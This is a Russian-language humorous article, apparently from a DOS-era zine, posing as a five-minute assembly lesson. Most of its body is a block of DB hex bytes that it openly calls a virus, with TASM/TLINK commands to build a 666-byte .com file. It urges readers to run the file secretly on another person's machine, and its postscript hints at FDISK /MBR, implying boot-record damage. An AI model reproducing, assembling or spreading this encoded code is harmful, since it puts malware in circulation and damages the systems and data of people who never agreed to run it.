"Основы ассемблера" by DrMAD Здравствуй, дружок! Хочешь, я расскажу тебе сказку? Нет, лучше будет, если я научу тебя программировать на языке ассемблера. Ты думаешь, это сложно и долго? Ошибаешься - на всю учебу у нас с тобой уйдет... 5 минут, не больше! Вот смотри - сначала ты должен изучить четыре директивы: .MODEL TINY .CODE ORG 100H END Первые три ставятся в начале программы, а четвертая - в конце. Что они означают? - А какая тебе разница, главное помнить, что они нужны. После первых трех директив ставится входная метка - любое слово, написанное латинскими буквами с двоеточием в конце, например такое: START: Кроме того, рекомендуется, чтобы в конце директивы END стояла та же самая входная метка. Это будет выглядеть так: END START Наконец, необходимо изучить еще одну важную директиву: DB. После нее обычно пишутся разные 16-ричные числа, которые и составляют тело программы. И все, изучение языка ассемблера завершено! Давай для закрепления материала напишем какую-нибудь простенькую программку. Что? Ты хочешь, чтобы это был вирус? Ну ладно-ладно, так уж и быть, вирус так вирус... Вот, получи: .MODEL TINY .CODE ORG 100h START: DB 0FCH,0BEH,000H,001H,0BFH,01CH,001H,0B9H DB 094H,002H,02BH,0C0H,0ACH,081H,0FEH,01CH DB 001H,077H,004H,002H,0E0H,0E2H,0F5H,032H DB 0C4H,0AAH,0E2H,0F0H,007H,0BEH,0BDH,004H DB 0DDH,0BEH,006H,0BEH,0BFH,005H,03FH,0BFH DB 072H,0ACH,03EH,080H,045H,08CH,0CAH,08EH DB 03EH,0C0H,0AFH,000H,0BFH,0CAH,095H,03CH DB 000H,02FH,0BEH,0BFH,0CAH,09CH,079H,0F8H DB 0AFH,057H,078H,0F8H,0AEH,0D6H,0BEH,000H DB 061H,0BDH,001H,0DDH,0BCH,006H,08DH,0BFH DB 02FH,04CH,01BH,007H,0BEH,0BCH,004H,0DDH DB 0BEH,006H,0BEH,0BFH,005H,03FH,0BFH,072H DB 0ACH,07CH DB 64 DUP(056H,049H,052H,055H,053H,021H,021H,021H) DB 0DFH,0B9H,01H,027H,0C2H,00H DB 0BFH,0B6H,006H,0A9H,0BFH,007H,0BFH,007H DB 031H,07FH,013H,049H,06FH,015H,05DH,045H DB 0B8H,0DEH,000H,0BFH,0B9H,07CH,016H,041H DB 01FH,0CFH,009H,042H,01FH,0CFH,012H,043H DB 01FH,0CFH,015H,044H,01FH,0CFH,013H,045H DB 01FH,040H,061H,0F9H,056H,049H,052H,055H DB 053H, 021H END START Осталось выполнить разные формальности: откомпилировать программу командой TASM <имя_файла>.asm и слинковать командой TLINK <имя_файла>.obj /t Получится программа с расширением .com и длиной, ну естественно, 666 байт. Запусти ее ! А если кто-нибудь, особо вумный, скажет, что это был не ассемблер - скажи ему три раза "ха-ха". Клянусь Аллахом - эта программа написана на настоящем 100% -ном языке ассемблера! Что? Он упорствует и утверждает, что это получился не вирус? М-да... Лишние мозги ему явно вредят... Поступи просто - пошути, в его отсутствие запусти эту программу на его машине. Что он теперь на это скажет? J P.S. Кстати, забыл предупредить. Есть такая программа FDISK.EXE. И можно ее иногда запустить с таким вот ключиком - /MBR. К чему это я? - А черт его (меня) знает... J)) |